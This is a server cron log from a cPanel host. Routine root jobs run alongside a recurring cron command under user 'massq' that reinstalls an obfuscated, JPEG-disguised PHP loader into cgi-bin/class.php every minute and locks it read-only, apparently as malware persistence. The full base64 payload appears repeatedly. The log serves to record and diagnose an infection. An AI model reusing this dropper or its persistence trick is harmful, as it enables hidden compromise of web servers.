Sep  9 16:01:01 server run-parts(/etc/cron.hourly)[28129]: finished 0anacron
Sep  9 16:02:01 server CROND[28510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:02:01 server CROND[28509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:02:01 server CROND[28511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:03:01 server CROND[28975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:03:01 server CROND[28976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:03:01 server CROND[28977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:04:01 server CROND[29356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:04:01 server CROND[29358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:04:01 server CROND[29357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:05:01 server CROND[29736]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:05:01 server CROND[29737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:05:01 server CROND[29742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:05:01 server CROND[29756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:05:01 server CROND[29757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:05:01 server CROND[29758]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:05:01 server CROND[29759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:05:01 server CROND[29760]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 16:06:01 server CROND[30582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:06:01 server CROND[30584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:06:01 server CROND[30583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:07:01 server CROND[30967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:07:01 server CROND[30968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:07:01 server CROND[30969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:08:01 server CROND[31431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:08:01 server CROND[31432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:08:01 server CROND[31434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:09:01 server CROND[31802]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 16:09:01 server CROND[31803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:09:01 server CROND[31804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:09:01 server CROND[31805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:10:01 server CROND[32200]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:10:01 server CROND[32202]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:10:01 server CROND[32203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:10:01 server CROND[32207]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:10:01 server CROND[32209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:10:01 server CROND[32208]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:10:01 server CROND[32206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:10:01 server CROND[32204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:11:01 server CROND[626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:11:01 server CROND[627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:11:01 server CROND[628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:12:01 server CROND[1146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:12:01 server CROND[1149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:12:01 server CROND[1151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:12:01 server CROND[1150]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 16:13:01 server CROND[1651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:13:01 server CROND[1652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:13:01 server CROND[1653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:14:01 server CROND[2058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
